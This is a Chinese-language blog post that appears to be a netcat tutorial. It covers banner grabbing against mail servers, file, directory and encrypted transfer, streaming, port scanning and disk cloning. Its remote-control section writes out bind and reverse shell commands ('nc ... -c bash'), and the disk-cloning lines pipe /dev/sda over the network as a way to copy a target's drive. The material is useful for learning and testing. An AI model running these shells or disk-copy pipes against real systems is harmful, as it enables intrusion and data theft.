NETCAT - NC

网络工具中的瑞士军刀

  • 侦听模式、传输模式
  • telnet、获取 banner 信息
  • 传输文本信息
  • 传输文件、目录
  • 加密传输文件
  • 远程控制、木马
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆硬盘

取代 telnet

# 帮助
nc -h

# 使用手册
man nc

# 不使用 DNS 解析域名
nc -n

# 显示链接的详细信息
nc -v 

示例:

# 获取 ip
ping pop3.163.com -c 1
# 链接 pop3 服务器
nc -vn  123.126.97.79 110
# 链接成功后输入用户名密码(base64 加密)
USER MTU1NTM1OTg5MzVAMTYzLmNvbQo=

ping smtp.163.com -c 1
nc -vn 123.126.97.3 25
# 链接成功后输入
ehlo yuanfh
# 输入用户名密码登录,明文
AUTH LOGIN

传输文本信息

远程电子取证信息收集

一台服务器开放端口:

nc -l -p 4444

另一台服务器链接:

nc -nv 127.0.0.1 4444

两台电脑就能聊天了。
还可以进行电子取证,比如:

ls -l | nc -nv 127.0.0.1 4444

# 一秒钟后断开链接
ls -l | nc -nv 127.0.0.1 4444 -q 1

对方就能实时收到 ls -l 的命令结果的信息。如果对方要保存信息的话,可以在开端口时候把输出重定向到文件中:

nc -l -p 4444 > nc.txt

其他用法:

  • 传输文件
nc -lp 333 > 1.mp4
nc -nv 127.0.0.1 333 < 1.mp4 -q 1
# 或
nc -q 1 -lp 333 < 1.mp4
nc -nv 127.0.0.1 333 > 1.mp4
  • 传输目录
tar -cvf - music/ | nc -lp 333 -q 1
nc -nv 127.0.0.1 333 | tar -xvf -
  • 加密传文件
nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
mcrypt --flush -Fbq -a rijndael-256 -m ecb < 1.mp4 | nc -nv 127.0.0.1 333 -q 1
  • 流媒体服务器
cat 1.mp4 | nc -lp 333
nc -nv 127.0.0.1 333 | mplayer -vo x11 -cache 3000 -
  • 远程克隆硬盘
nc -lp 333 | dd of=/dev/sda
dd if=/dev/sda | nc -nv 127.0.0.1 333 -q 1

远程电子取证,可以将目标服务器硬盘或者内存远程复制。

端口扫描

# -z 不做信息交互,用于端口扫描
# 探测 tcp 端口(端口号:1-65535)
nc -nvz 127.0.0.1 1-65535
# 探测 udp 端口(端口号:1-65535)
nc -vnzu 127.0.0.1 1-65535

扫描器不一定准确,要用多款扫描器。不如 nmap 等工具功能强大。

远程控制

# -c 
# 正向
nc -lp 333 -c bash
nc 127.0.0.1 333

# 反向
nc -lp 333
nc 127.0.0.1 333 -c bash

windows 下应把 bash 改成 cmd。

缺点

缺乏加密和身份验证的能力。会被别人劫持,或探测到你发送的信息。
可以使用 Ncat。弥补了 NC 缺乏加密和身份验证的能力的不足,包含于 nmap 工具包中。

不同系统的 NC 命令可能不一样,要看看命令是否兼容。

# 命令帮助
nc -h
# 使用手册
man nc

相关文章:
Ncat

posted @ 2021-01-25 17:20  qianbuhan  阅读(124)  评论(0编辑  收藏  举报